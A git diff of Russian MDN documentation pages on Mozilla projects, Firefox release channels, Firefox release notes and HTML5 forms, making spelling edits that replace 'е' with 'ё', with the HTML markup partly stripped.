              Mozilla имеет более 100 различных веб-проектов и инструментов, почти все из которых - проекты с открытым кодом. Есть ресурсы getting started with Mozilla's main web sites, а также mostly-up-to-date list of web development projects с участием Mozilla, и мы постоянно стремимся расширять этот список. В этих списках Вы найдете много интересных проектов и узнаете, как помочь их развитию.

              +

              Mozilla имеет более 100 различных веб-проектов и инструментов, почти все из которых - проекты с открытым кодом. Есть ресурсы getting started with Mozilla's main web sites, а также mostly-up-to-date list of web development projects с участием Mozilla, и мы постоянно стремимся расширять этот список. В этих списках Вы найдёте много интересных проектов и узнаете, как помочь их развитию.

              Проекты на гитхабе

              -

              Mozilla github страница содержит более 100 проектов, в которых Вы можете принять участие. Эти проекты разрабатываются с использованием обычной GitHub практики, так что для начала работы над каким-либо проектом Вам нужно лишь форкнуть его. Мы с нетерпением ждем Ваших запросов на мёрдж! Среди этих проектов есть и такие высоко-профильные, как Jetpack и многие другие.

              +

              Mozilla github страница содержит более 100 проектов, в которых Вы можете принять участие. Эти проекты разрабатываются с использованием обычной GitHub практики, так что для начала работы над каким-либо проектом Вам нужно лишь форкнуть его. Мы с нетерпением ждём Ваших запросов на мёрдж! Среди этих проектов есть и такие высоко-профильные, как Jetpack и многие другие.

              Mozilla Mercurial репозитории

              Многие Mozilla-проекты лежат в своих собственных репозиториях на hg.mozilla.org. Там можно увидеть иерархию директорий проектов, а также какие из них в настоящее время поддерживается (подсказка - не все из них!). В числе таких проектов - многие основные сферы деятельности Mozilla, такие как QA, RelEng, localization, webtools, core developers' user repos и другие.

              Другие способы принять участие

              -

              Есть много способов внести свой вклад в сообщество Mozilla, помимо программирования. Если вы хотите принять участие в дизайне, поддержке, переводе, тестировании или в других видах вспомогательной деятельности, см. страницу волонтеров.

              +

              Есть много способов внести свой вклад в сообщество Mozilla, помимо программирования. Если вы хотите принять участие в дизайне, поддержке, переводе, тестировании или в других видах вспомогательной деятельности, см. страницу волонтёров.

              diff --git a/files/ru/mozilla/firefox/index.html b/files/ru/mozilla/firefox/index.html index 59c7b007d6..9e4cf629e6 100644 --- a/files/ru/mozilla/firefox/index.html +++ b/files/ru/mozilla/firefox/index.html @@ -36,13 +36,13 @@ translation_of: Mozilla/Firefox

              Firefox Nightly

              -

              Каждую ночь мы собираем Firefox из самых свежих исходных кодов в репозитории mozilla-central. Эти сборки для разработчиков Firefox или тех, кто хочет попробовать самые последние разработанные возможности, которые еще находятся в процессе активной разработки.

              +

              Каждую ночь мы собираем Firefox из самых свежих исходных кодов в репозитории mozilla-central. Эти сборки для разработчиков Firefox или тех, кто хочет попробовать самые последние разработанные возможности, которые ещё находятся в процессе активной разработки.

              Загрузить Firefox Nightly

              Firefox Developer Edition (Firefox Аврора)

              -

              Эта версия предназначена для разработчиков. Каждые шесть недель, мы берем из Firefox Nightly всю функциональность, которая уже опробована и считается более или менее стабильной и создаем новую версию Firefox Developer Edition. Помимо этого она включает в себя некоторые дополнительные возможности, которые доступны только на этом канале.

              +

              Эта версия предназначена для разработчиков. Каждые шесть недель, мы берём из Firefox Nightly всю функциональность, которая уже опробована и считается более или менее стабильной и создаём новую версию Firefox Developer Edition. Помимо этого она включает в себя некоторые дополнительные возможности, которые доступны только на этом канале.

              Узнать больше о Firefox Developer Edition.

              @@ -50,13 +50,13 @@ translation_of: Mozilla/Firefox

              Firefox Бета

              -

              После шести недель в Firefox Developer Edition, мы берем стабильную функциональность и создаем новую версию Firefox Beta. Сборка Firefox Beta предназначена для тестирования новой функциональности энтузиастами Firefox, которая войдет в следующий релиз Firefox.

              +

              После шести недель в Firefox Developer Edition, мы берём стабильную функциональность и создаём новую версию Firefox Beta. Сборка Firefox Beta предназначена для тестирования новой функциональности энтузиастами Firefox, которая войдёт в следующий релиз Firefox.

              Загрузить Firefox Бета

              Firefox

              -

              После еще шести недель, мы еще раз отбираем функциональность, для которой не было найдено ошибок, и добавляем их в новую версию Firefox, после чего все эти новые возможности становятся доступны миллионам пользователей.

              +

              После ещё шести недель, мы ещё раз отбираем функциональность, для которой не было найдено ошибок, и добавляем их в новую версию Firefox, после чего все эти новые возможности становятся доступны миллионам пользователей.

              Загрузить Firefox

              diff --git a/files/ru/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html b/files/ru/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html index 5eb1c53cfe..0b4f4da4bd 100644 --- a/files/ru/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html +++ b/files/ru/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html @@ -173,7 +173,7 @@ function loadOnlyFirst() { </html> -

              Напротив, если приведённая выше страница не обрабатывает событие pageshow и выполняет все вычисления в обработчике события load (если код написан так, как показано в примере ниже), как положение курсора, так и дата/время в Firefox 1.5 будут кэшированы, когда пользователь уйдет со страницы. Когда пользователь вернется на страницу, отобразятся кешированные дата/время.

              +

              Напротив, если приведённая выше страница не обрабатывает событие pageshow и выполняет все вычисления в обработчике события load (если код написан так, как показано в примере ниже), как положение курсора, так и дата/время в Firefox 1.5 будут кэшированы, когда пользователь уйдёт со страницы. Когда пользователь вернётся на страницу, отобразятся кешированные дата/время.

              <script>
 function onLoad() {
diff --git a/files/ru/mozilla/firefox/releases/32/index.html b/files/ru/mozilla/firefox/releases/32/index.html
index cda18f1f56..8444815a32 100644
--- a/files/ru/mozilla/firefox/releases/32/index.html
+++ b/files/ru/mozilla/firefox/releases/32/index.html
@@ -93,9 +93,9 @@ translation_of: Mozilla/Firefox/Releases/32
 
 
              Подробнее
              
 
-
              Коммиты GitHub между версиями Firefox 31 и Firefox 32. Не будут включать никаких поднятий, сделанных после того, как этот выпуск войдет в Aurora.
              
+
              Коммиты GitHub между версиями Firefox 31 и Firefox 32. Не будут включать никаких поднятий, сделанных после того, как этот выпуск войдёт в Aurora.
              
 
-
              Ошибки исправленные Firefox 31 и Firefox 32. Сюда не включены изменения, сделанные после того, как этот релиз был перемещен в стадию Aurora.
              
+
              Ошибки исправленные Firefox 31 и Firefox 32. Сюда не включены изменения, сделанные после того, как этот релиз был перемещён в стадию Aurora.
              
 
 
              Смотрите также
              
 
diff --git a/files/ru/mozilla/firefox/releases/33/index.html b/files/ru/mozilla/firefox/releases/33/index.html
index 71106729df..a5e12b256e 100644
--- a/files/ru/mozilla/firefox/releases/33/index.html
+++ b/files/ru/mozilla/firefox/releases/33/index.html
@@ -33,7 +33,7 @@ translation_of: Mozilla/Firefox/Releases/33
 
              JavaScript
              
 
 
                
- 
              • Удален нестандартный метод {{jsxref("Number.toInteger()")}} ({{bug(1022396)}}).
                • 
+ 
              • Удалён нестандартный метод {{jsxref("Number.toInteger()")}} ({{bug(1022396)}}).
                • 
  
              • Методы {{jsxref("Map.prototype.set()")}}, {{jsxref("WeakMap.prototype.set()")}} and {{jsxref("Set.prototype.add()")}} можно использовать последовательно, больше не возвращают undefined в место этого возвращают объект. ({{bug(1031632)}}).
                • 
  
              • Добавлена поддержка типа данных "Symbol" из стандарта ECMAScript 6 ({{bug(645416)}}):
   
                  
diff --git a/files/ru/mozilla/firefox/releases/43/index.html b/files/ru/mozilla/firefox/releases/43/index.html
index 45f428ba81..f03fccb0bd 100644
--- a/files/ru/mozilla/firefox/releases/43/index.html
+++ b/files/ru/mozilla/firefox/releases/43/index.html
@@ -31,7 +31,7 @@ translation_of: Mozilla/Firefox/Releases/43
 
                  CSS
                  
 
 
                    
- 
                  • Удален префикс CSS свойства {{Cssxref("hyphens")}} ({{bug(953408)}}).
                    • 
+ 
                  • Удалён префикс CSS свойства {{Cssxref("hyphens")}} ({{bug(953408)}}).
                    • 
  
                  • CCS свойство {{cssxref("font")}} теперь поддерживает указание {{cssxref("font-stretch")}} {{bug(1057680)}}).
                    • 
  
                  • Псевдокласс {{cssxref(":fullscreen")}} теперь выбирает весь стек элементов с дисплея в полноэкранном режиме, а не только элементы высшего уровня ({{bug(1199522)}}).
                    • 
  
                  • Устаревшие свойства SVG {{cssxref("writing-mode")}}, lr, lr-tb, rl, tb, and tb-rl, добавлены в CSS как алиасы стандартных CSS свойств ({{bug(1205787)}}).
                    • 
@@ -41,7 +41,7 @@ translation_of: Mozilla/Firefox/Releases/43
 
 
                      
  
                    • Для тега {{htmlelement("img")}} с изображением формата ICO содержащего несколько кадров (анимированного), разрешение изображения будет равным разрешению самого большого кадра, а не самого малого {{bug(1201796)}}.
                      • 
- 
                    • Значение области просмотра документа (viewport) (определенного с помощью тега <meta name="viewport>) можно динамически изменять с помощью JavaScript ({{bug(976616)}}).
                      • 
+ 
                    • Значение области просмотра документа (viewport) (определённого с помощью тега <meta name="viewport>) можно динамически изменять с помощью JavaScript ({{bug(976616)}}).
                      • 
 
                    
 
 
                    JavaScript
                    
@@ -55,7 +55,7 @@ translation_of: Mozilla/Firefox/Releases/43
 
                    Изменения связанные с объектом arguments
                    
 
 
@@ -69,7 +69,7 @@ translation_of: Mozilla/Firefox/Releases/43
 
                    IndexedDB
                    
 
 
                      
- 
                    • Добавлена сортировка с учетом локали, которая позволяет создавать индексы учитывающие локаль. Эти индексы потом могут быть использованы чтобы отсортировать данные с учетом правил локали. ({{bug(871846)}}). Это не стандартная функция и доступна только в Firefox.
                      • 
+ 
                    • Добавлена сортировка с учётом локали, которая позволяет создавать индексы учитывающие локаль. Эти индексы потом могут быть использованы чтобы отсортировать данные с учётом правил локали. ({{bug(871846)}}). Это не стандартная функция и доступна только в Firefox.
                      • 
 
                    
 
 
                    Service Workers
                    
@@ -97,7 +97,7 @@ translation_of: Mozilla/Firefox/Releases/43
  
                  • В Линукс, как и в Windows, {{domxref("Event.timeStamp")}} теперь возвращает {domxref("DOMHighResTimeStamp")}} ({{bug(1026803)}}).
                    • 
  
                  • Экспериментальная поддержка {{domxref("Selection")}} событий {{event("selectionchange")}} и {{event("selectstart")}}, а также добавлены {{domxref("Document.onselectionchange")}} и {{domxref("GlobalEventHandlers.onselectstart")}} свойства для обработчиков событий ({{bug(571294)}}). Событие selectionchange теперь возникает на  {{domxref("Document")}} если связано с  объектом Selection, или в особом случае {{domxref("HTMLInputElement")}} или {{domxref("HTMLTextAreaElement")}} ({{bug(1196479)}}). Это свойство контролируется с помощью настройки dom.select_events.enabled, которое по умолчанию имеет значение false, за исключением Firefox Nightly.
                    • 
  
                  • Поддержка {{domxref("MouseEvent.offsetX")}} и {{domxref("MouseEvent.offsetY")}} доступна по умолчанию в Android версии Firefox и Firefox OS ({{bug(1204841)}}).
                    • 
- 
                  • Удален метод {{domxref("HTMLCanvasElement.mozFetchAsStream()")}} ({{bug(1206030)}}).
                    • 
+ 
                  • Удалён метод {{domxref("HTMLCanvasElement.mozFetchAsStream()")}} ({{bug(1206030)}}).
                    • 
  
                  • Конструктор {{domxref("Request.Request", "Request()")}} а также {{domxref("Window.fetch", "fetch()")}} теперь выбросит исключение {{exception("TypeError")}} если будет использовано в URL которое содержит параметры с именами username и password ({{bug(1195820)}}).
                    • 
 
                  
 
@@ -124,8 +124,8 @@ translation_of: Mozilla/Firefox/Releases/43
 
                  Безопасность
                  
 
 
                    
- 
                  • Доступ к Web Storage (i.e. localStorage и sessionStorage) из других IFrame-мов запрещен если у пользователя заблокированы куки из сторонних сервисов (других веб-сайтов) ({{bug("536509")}}).
                    • 
- 
                  • Белый список удален из Nightly и Aurora/Dev Edition браузеров ({{bug(1201023)}}). Также запланировано удаление из Beta и Release версий в следующей версии (Firefox 44).
                    • 
+ 
                  • Доступ к Web Storage (i.e. localStorage и sessionStorage) из других IFrame-мов запрещён если у пользователя заблокированы куки из сторонних сервисов (других веб-сайтов) ({{bug("536509")}}).
                    • 
+ 
                  • Белый список удалён из Nightly и Aurora/Dev Edition браузеров ({{bug(1201023)}}). Также запланировано удаление из Beta и Release версий в следующей версии (Firefox 44).
                    • 
  
                  • Реализована целостность ресурсов для {{htmlelement("script")}} и {{htmlelement("link")}} которые ведут к файлам стилей ({{bug("992096")}}).
                    • 
 
                  
 
diff --git a/files/ru/mozilla/firefox/releases/50/index.html b/files/ru/mozilla/firefox/releases/50/index.html
index 6b9122dff1..922e31a7dc 100644
--- a/files/ru/mozilla/firefox/releases/50/index.html
+++ b/files/ru/mozilla/firefox/releases/50/index.html
@@ -16,7 +16,7 @@ translation_of: Mozilla/Firefox/Releases/50
 
                  HTML
                  
 
 
                    
- 
                  • Стиль элемента по умолчанию {{HTMLElement("bdo")}} теперь определен как {{cssxref("unicode-bidi")}} имеющий значение isolate-override ({{bug(1249497)}}).
                    • 
+ 
                  • Стиль элемента по умолчанию {{HTMLElement("bdo")}} теперь определён как {{cssxref("unicode-bidi")}} имеющий значение isolate-override ({{bug(1249497)}}).
                    • 
  
                  • Установка атрибута {{htmlattrxref("src", "track")}} элемента {{HTMLElement("track")}} теперь работает корректно ({{bug(1281418)}}).
                    • 
  
                  • Атрибут referrerpolicy у элементов {{HTMLElement("area")}}, {{HTMLElement("a")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}} and {{HTMLElement("link")}} теперь доступен по умолчанию ({{bug(1223838)}}, {{bug(1264165)}}).
                    • 
 
                  
diff --git a/files/ru/mozilla/firefox/releases/53/index.html b/files/ru/mozilla/firefox/releases/53/index.html
index e8fc00a0fd..969d7052ce 100644
--- a/files/ru/mozilla/firefox/releases/53/index.html
+++ b/files/ru/mozilla/firefox/releases/53/index.html
@@ -70,7 +70,7 @@ translation_of: Mozilla/Firefox/Releases/53
 
                  DOM
                  
 
 
                    
- 
                  • {{Domxref ( "HTMLHyperLinkElementUtils.pathname", "путь")}} и {{domxref ( "HTMLHyperLinkElementUtils.search", "поиск")}} {{domxref ( "HTMLHyperLinkElementUtils")}} свойства ранее возвращено неправильные части в URL. Например, для URL из http://z.com/x?a=true&b=false, pathnameбудет возвращаться « /x?a=true&b=false"и searchвернется„“, а не» /x«и» ?a=true&b=false"соответственно. Теперь это было исправлено ({{bug (1310483)}}).
                    • 
+ 
                  • {{Domxref ( "HTMLHyperLinkElementUtils.pathname", "путь")}} и {{domxref ( "HTMLHyperLinkElementUtils.search", "поиск")}} {{domxref ( "HTMLHyperLinkElementUtils")}} свойства ранее возвращено неправильные части в URL. Например, для URL из http://z.com/x?a=true&b=false, pathnameбудет возвращаться « /x?a=true&b=false"и searchвернётся„“, а не» /x«и» ?a=true&b=false"соответственно. Теперь это было исправлено ({{bug (1310483)}}).
                    • 
  
                  • {{Domxref ( "URLSearchParams.URLSearchParams", "URLSearchParams ()")}} Конструктор теперь принимает на {{domxref ( "USVString")}} или последовательность {{domxref ( "USVString")}} ев в качестве инициализации объект ({{bug( "1330678")}}).
                    • 
  
                  • {{Domxref ( "Selection.setBaseAndExtent ()")}} метод API выбора теперь реализован (см {{bug (1321623)}}).
                    • 
  
                  • "Fakepath" дополнение fileтипа {{HTMLElement ( "вход")}} valuesбыла реализована в Gecko, давая его соотношение с другими браузерами (см {{bug (1274596)}}).
                    • 
@@ -92,7 +92,7 @@ translation_of: Mozilla/Firefox/Releases/53
 
 
                      
  
                    • {{Domxref ( "WEBGL_compressed_texture_astc")}} реализуется расширение WebGL ({{bug(1250077)}}).
                      • 
- 
                    • {{Domxref ( "WEBGL_debug_renderer_info")}} расширение WebGL теперь включен по умолчанию ({{bug(1336645)}}).
                      • 
+ 
                    • {{Domxref ( "WEBGL_debug_renderer_info")}} расширение WebGL теперь включён по умолчанию ({{bug(1336645)}}).
                      • 
 
                    
 
 
                    Аудио, видео и медиа
                    
@@ -151,21 +151,21 @@ translation_of: Mozilla/Firefox/Releases/53
 
                    HTML / XML
                    
 
 
                      
- 
                    • dom.details_element.enabledПрив - которая контролируется включение / отключение {{HTMLElement ( "детали")}} и {{HTMLElement ( "Резюме")}} опорный элемент в Firefox - теперь был удален из about:config. Эти элементы (которые впервые были включены по умолчанию в Firefox 49) больше не могут быть отключены. См {{bug (1271549)}}.
                      • 
+ 
                    • dom.details_element.enabledПрив - которая контролируется включение / отключение {{HTMLElement ( "детали")}} и {{HTMLElement ( "Резюме")}} опорный элемент в Firefox - теперь был удалён из about:config. Эти элементы (которые впервые были включены по умолчанию в Firefox 49) больше не могут быть отключены. См {{bug (1271549)}}.
                      • 
 
                    
 
 
                    CSS
                    
 
 
                      
  
                    • Удалены {{property_prefix ( "- Мос")}} приставкой вариант {{cssxref ( ": реж", ": каталог ()")}} псевдокласс ({{bug (1270406)}}).
                      • 
- 
                    • -mozПриставкой версия {{cssxref ( "текст-ALIGN-последний")}} был удален ({{bug (1276808)}}).
                      • 
+ 
                    • -mozПриставкой версия {{cssxref ( "текст-ALIGN-последний")}} был удалён ({{bug (1276808)}}).
                      • 
  
                    • Удалены {{property_prefix ( "- Мос")}} приставкой вариант {{cssxref ( "известково ()")}} Метод ({{bug (1331296)}}).
                      • 
 
                    
 
 
                    JavaScript
                    
 
 
                      
- 
                    • Нестандартный {{jsxref ( "ArrayBuffer.slice ()")}} Метод был удален (но стандартизированная версия {{jsxref ( "ArrayBuffer.prototype.slice ()")}} сохраняется, см {{bug (1313112)}}).
                      • 
+ 
                    • Нестандартный {{jsxref ( "ArrayBuffer.slice ()")}} Метод был удалён (но стандартизированная версия {{jsxref ( "ArrayBuffer.prototype.slice ()")}} сохраняется, см {{bug (1313112)}}).
                      • 
 
                    
 
 
                    API-интерфейсы
                    
diff --git a/files/ru/mozilla/firefox/releases/58/index.html b/files/ru/mozilla/firefox/releases/58/index.html
index e6e71aba3a..e4051ced3a 100644
--- a/files/ru/mozilla/firefox/releases/58/index.html
+++ b/files/ru/mozilla/firefox/releases/58/index.html
@@ -12,9 +12,9 @@ translation_of: Mozilla/Firefox/Releases/58
 
                    Инструменты разработчика
                    
 
 
                      
- 
                    • Код старой версии режима Отзывчивый дизайн (Responsive Design) (включен по умолчанию в pre-Firefox 52) удален из Devtools ({{bug(1305777)}}). Подробнее о новой версии в статье Responsive Design Mode.
                      • 
+ 
                    • Код старой версии режима Отзывчивый дизайн (Responsive Design) (включён по умолчанию в pre-Firefox 52) удалён из Devtools ({{bug(1305777)}}). Подробнее о новой версии в статье Responsive Design Mode.
                      • 
  
                    • Возможность просматривать документацию MDN docs на вкладке CSS на страницах инспектора удалена ({{bug(1382171)}}).
                      • 
- 
                    • Маркер CSS фигур  включен по умолчанию для фигур (геометрических примитивов), сгенерированных как  {{cssxref("clip-path")}} ({{bug(1405339)}}).
                      • 
+ 
                    • Маркер CSS фигур  включён по умолчанию для фигур (геометрических примитивов), сгенерированных как  {{cssxref("clip-path")}} ({{bug(1405339)}}).
                      • 
  
                    •  Network Monitor теперь содержит кнопку для  останова/записи и просмотра сетевого трафика согласно ({{bug(1005755)}}).
                      • 
  
                    • В Network Monitor фильтр  "Flash" недоступен и все запросы Flash включаются в фильтр "Другое" согласно ({{bug(1413540)}}).
                      • 
 
                    
diff --git a/files/ru/mozilla/firefox/releases/59/index.html b/files/ru/mozilla/firefox/releases/59/index.html
index c2234e7bcb..0ec677f311 100644
--- a/files/ru/mozilla/firefox/releases/59/index.html
+++ b/files/ru/mozilla/firefox/releases/59/index.html
@@ -120,7 +120,7 @@ translation_of: Mozilla/Firefox/Releases/59
 
 
                    HTML
                    
 
-
                    Нестандартный параметр version  атрибута свойства {{htmlattrxref("type","script")}} элемента {{htmlelement("script")}} (например,  type="application/javascript;version=1.8") был удален ({{bug(1428745)}}).
                    
+
                    Нестандартный параметр version  атрибута свойства {{htmlattrxref("type","script")}} элемента {{htmlelement("script")}} (например,  type="application/javascript;version=1.8") был удалён ({{bug(1428745)}}).
                    
 
 
                    CSS
                    
 
@@ -138,9 +138,9 @@ translation_of: Mozilla/Firefox/Releases/59
 
                    APIs
                    
 
 
                      
- 
                    • Нестандартный метод Event.getPreventDefault() был удален. Вам стоит использовать свойство {{domxref("Event.defaultPrevented")}} чтобы определять, вызывался ли {{domxref("Event.preventDefault", "preventDefault()")}} на событии {{domxref("Event")}}.
                      • 
+ 
                    • Нестандартный метод Event.getPreventDefault() был удалён. Вам стоит использовать свойство {{domxref("Event.defaultPrevented")}} чтобы определять, вызывался ли {{domxref("Event.preventDefault", "preventDefault()")}} на событии {{domxref("Event")}}.
                      • 
  
                    • Проприетарное свойство Navigator.mozNotification и интерфейс DesktopNotification  были удалены, в пользу стандартного Notifications API ({{bug(952453)}}).
                      • 
- 
                    • Проприетарный метод window.external.addSearchEngine() был удален ({{bug("862147")}}). Смотреть также {{domxref("Window.sidebar")}} для больших подробностей.
                      • 
+ 
                    • Проприетарный метод window.external.addSearchEngine() был удалён ({{bug("862147")}}). Смотреть также {{domxref("Window.sidebar")}} для больших подробностей.
                      • 
  
                    • Нестандартное поддерживающиеся только Firefox свойство {{domxref("HTMLMediaElement")}} mozAutoplayEnabled было удалено.
                      • 
 
                    
 
diff --git a/files/ru/mozilla/firefox/releases/63/index.html b/files/ru/mozilla/firefox/releases/63/index.html
index 9bf6b600cc..77bb78e3f3 100644
--- a/files/ru/mozilla/firefox/releases/63/index.html
+++ b/files/ru/mozilla/firefox/releases/63/index.html
@@ -158,7 +158,7 @@ translation_of: Mozilla/Firefox/Releases/63
 
 
                      
  
                    • Фавиконы сайтов отныне подчиняются политике защиты контента (CSP), если она настроена ({{bug(1297156)}}).
                      • 
- 
                    • Выражение 'report-sample' директивы CSP script-src отныне учитывается при создании отчёта о нарушении. Эта директива указывает, что в отчёт должен быть включен краткий пример того, где произошло нарушение. До этого Firefox всегда включал такой пример в отчёт ({{bug(1473218)}}).
                      • 
+ 
                    • Выражение 'report-sample' директивы CSP script-src отныне учитывается при создании отчёта о нарушении. Эта директива указывает, что в отчёт должен быть включён краткий пример того, где произошло нарушение. До этого Firefox всегда включал такой пример в отчёт ({{bug(1473218)}}).
                      • 
  
                    • Библиотеки NSS обновлены до версии 3.39 ({{bug(1470914)}}).
                      • 
 
                    
 
diff --git a/files/ru/mozilla/firefox/releases/64/index.html b/files/ru/mozilla/firefox/releases/64/index.html
index bd14e4d975..07d6525e15 100644
--- a/files/ru/mozilla/firefox/releases/64/index.html
+++ b/files/ru/mozilla/firefox/releases/64/index.html
@@ -19,7 +19,7 @@ translation_of: Mozilla/Firefox/Releases/64
   
  
  
                  • Пошаговое выполнение кода в отладчике JavaScript также было улучшено:
@@ -165,7 +165,7 @@ translation_of: Mozilla/Firefox/Releases/64
   
                      
    
                    • Реализован browser.menus.overrideContext() (({{bug(1280347)}}).
                      • 
    
                    • Реализована опция showDefaults: false, позволяющая скрывать из контекстного меню пункты по умолчанию ({{bug(1367160)}}).
                      • 
-   
                    • documentURLPatterns теперь может соответствовать адресу moz-extension://, даже если используется browser.menus.overrideContext(). Таким образом, он может надежно ограничивать пользовательские пункты меню для определенных документов ({{bug(1498896)}}).
                      • 
+   
                    • documentURLPatterns теперь может соответствовать адресу moz-extension://, даже если используется browser.menus.overrideContext(). Таким образом, он может надёжно ограничивать пользовательские пункты меню для определённых документов ({{bug(1498896)}}).
                      • 
   
                    
  
                    • 
  
                  • С помощью нового свойства viewTypes в {{WebExtAPIRef("menus.create()")}} и {{WebExtAPIRef("menus.update()")}} можно ограничить места появления контекстного меню в дополнении ({{bug(1416839)}}).
                    • 
diff --git a/files/ru/mozilla/firefox/releases/65/index.html b/files/ru/mozilla/firefox/releases/65/index.html
index 28b49d021d..275157a0b2 100644
--- a/files/ru/mozilla/firefox/releases/65/index.html
+++ b/files/ru/mozilla/firefox/releases/65/index.html
@@ -60,7 +60,7 @@ translation_of: Mozilla/Firefox/Releases/65
 </div>
              <div>, на который установлен none, теперь не выбирается. До этого значение none перекрывалось значением all родительского элемента.
            • Теперь можно выбирать элементы не-contenteditable, вложенные в элементы contenteditable.
              • -
            • user-select теперь ведет себя согласованно внутри и снаружи теневого DOM.
              • +
            • user-select теперь ведёт себя согласованно внутри и снаружи теневого DOM.
            • Удалено проприетарное значение -moz-text.
            • diff --git a/files/ru/mozilla/firefox/releases/68/index.html b/files/ru/mozilla/firefox/releases/68/index.html index ed3740fde3..bbf3ad4633 100644 --- a/files/ru/mozilla/firefox/releases/68/index.html +++ b/files/ru/mozilla/firefox/releases/68/index.html @@ -60,7 +60,7 @@ translation_of: Mozilla/Firefox/Releases/68
          • Режим адаптивного дизайна был переработан — окошко Параметры устройства (меню выбора устройства > Изменить список...) теперь более интуитивное и стало проще в использовании ({{bug(1487857)}}).
          -

          Удаленные

          +

          Удалённые

          • Флажок "Включить дополнение при отладке" был удалён со страницы about:debugging ({{bug(1544813)}}).
            • @@ -105,7 +105,7 @@ translation_of: Mozilla/Firefox/Releases/68
          -

          Удаленные

          +

          Удалённые

          • {{CSSxRef("scroll-snap-coordinate")}}, {{CSSxRef("scroll-snap-destination")}}, {{CSSxRef("scroll-snap-type-x")}} и {{CSSxRef("scroll-snap-type-y")}} были удалены.
            • @@ -184,7 +184,7 @@ translation_of: Mozilla/Firefox/Releases/68

            Удалённые

              -
            • Директива {{HTTPHeader("Content-Security-Policy")}} require-sri-for больше не поддерживается из-за её неоднозначного статуса в спецификации. Ранее она была добавлена лишь в качестве надстройки, отключенной по умолчанию ({{bug(1386214)}}).
              • +
            • Директива {{HTTPHeader("Content-Security-Policy")}} require-sri-for больше не поддерживается из-за её неоднозначного статуса в спецификации. Ранее она была добавлена лишь в качестве надстройки, отключённой по умолчанию ({{bug(1386214)}}).

            Безопасность

            @@ -222,7 +222,7 @@ translation_of: Mozilla/Firefox/Releases/68
          • Сообщения об ошибке, когда дополнение пытается добавить папку с закладками в основную папку, теперь более интуитивно понятное ({{bug(1512171)}}).
          • Promise, возвращённый browser.tabs.duplicate(), выполняется сразу, пока вкладки не загружены полностью, для повышения производительности ({{bug(1394376)}}).
          • Была добавлена поддержка chrome.storage.managed, позволяющая настройкам быть реализованным через корпоративную политику ({{bug(1230802)}}).
            • -
          • Появилась опция Групповой Политики, позволяющая добавить все расширения в черный список, за исключением тех, что внесены в белый, ({{bug(1522823)}}).
            • +
          • Появилась опция Групповой Политики, позволяющая добавить все расширения в чёрный список, за исключением тех, что внесены в белый, ({{bug(1522823)}}).

          Изменения манифеста

          diff --git a/files/ru/orphaned/learn/how_to_contribute/index.html b/files/ru/orphaned/learn/how_to_contribute/index.html index d28b40f5f3..25d3398316 100644 --- a/files/ru/orphaned/learn/how_to_contribute/index.html +++ b/files/ru/orphaned/learn/how_to_contribute/index.html @@ -38,7 +38,7 @@ original_slug: Learn/Как_сделать_вклад
          Добавьте теги к нашим статьям (5 мин)
          -
          Добавление тегов к контенту MDN - один из самых легких способов внести свой вклад. Помощь в этом направлении очень ценна, поскольку теги широко применяются в MDN, чтобы вписать информацию в контекст. Начать можно с просмотра списков словарных и обучающих статей.
          +
          Добавление тегов к контенту MDN - один из самых лёгких способов внести свой вклад. Помощь в этом направлении очень ценна, поскольку теги широко применяются в MDN, чтобы вписать информацию в контекст. Начать можно с просмотра списков словарных и обучающих статей.
          Прочитайте и проверьте статью в словаре (5 мин)
          Нам очень важен ваш взгляд, как начинающего, на наш контент. Если вы считаете, что статья в словаре слишком сложна, значит, её необходимо улучшить. Не стесняйтесь вносить любые необходимые, на ваш взгляд, изменения. Если вам кажется, что у вас недостаточно навыков, чтобы самостоятельно отредактировать статью, можете сообщить нам о ней в нашем списке рассылки.
          Напишите новую статью для словаря (20 минут)
          @@ -82,5 +82,5 @@ original_slug: Learn/Как_сделать_вклад
          Создайте упражнения, викторины или интерактивные обучающие инструменты (? часа)
          Все наши обучающие статьи требуют материалов "активного обучения", то есть упражнений или интерактивного контента, которые помогают пользователю углубиться и научиться использовать концепции, описанные в статье. В этой области вы можете сделать многое, от создания викторин до построения fully hackable интерактивного контента с Thimble. Раскройте вашу творческую сторону!
          Создайте пути обучения (? часа)
          -
          Чтобы предоставить прогрессивные и доступные для понимания руководства, нам необходимо объединять контент в пути. Это способ собрать существующий контент и выяснить, чего в нем недостает для написания обучающей статьи.
          +
          Чтобы предоставить прогрессивные и доступные для понимания руководства, нам необходимо объединять контент в пути. Это способ собрать существующий контент и выяснить, чего в нем недостаёт для написания обучающей статьи.
          diff --git a/files/ru/orphaned/learn/html/forms/html5_updates/index.html b/files/ru/orphaned/learn/html/forms/html5_updates/index.html index 23d48d6765..e8ba6dbc84 100644 --- a/files/ru/orphaned/learn/html/forms/html5_updates/index.html +++ b/files/ru/orphaned/learn/html/forms/html5_updates/index.html @@ -14,7 +14,7 @@ tags: translation_of: Learn/HTML/Forms/HTML5_updates original_slug: Web/Guide/HTML/Формы_в_HTML --- -

          Элементы и атрибуты форм в HTML5 предоставляют большие возможности семантической верстки, чем HTML4, а также позволяет отказаться от использования JavaScript и CSS, которое было ранее необходимо для HTML4. Большие возможности в формах HTML5 делают удобным для пользователей отправление информации с различных веб-сайтов. Они также предоставляют эти возможности для тех пользователей, у которых отключена поддержка JavaScript.

          +

          Элементы и атрибуты форм в HTML5 предоставляют большие возможности семантической вёрстки, чем HTML4, а также позволяет отказаться от использования JavaScript и CSS, которое было ранее необходимо для HTML4. Большие возможности в формах HTML5 делают удобным для пользователей отправление информации с различных веб-сайтов. Они также предоставляют эти возможности для тех пользователей, у которых отключена поддержка JavaScript.

          Эта статья описывает изменения в HTML-формах, представленных в HTML5. Для более подробного руководства по использованию формами, просмотрите наше обширное руководство по HTML-формам.

          @@ -29,7 +29,7 @@ original_slug: Web/Guide/HTML/Формы_в_HTML

        • email: Элемент представляет из себя поле для ввода одного адреса электронной почты. Переходы строк автоматически удаляются из значения value. Может быть предоставлен недействительный адрес эл. почты, но поле ввода запретит отправку формы, если эл. адрес почты не будет соответствовать нормам ABNF.

          -
          Заметьте: Если установлен атрибут {{htmlattrxref("multiple", "input")}}, то может быть введено несколько адресов электронной почты, разделенных запятой, но, в данный момент, такая возможность не реализована в Firefox.
          +
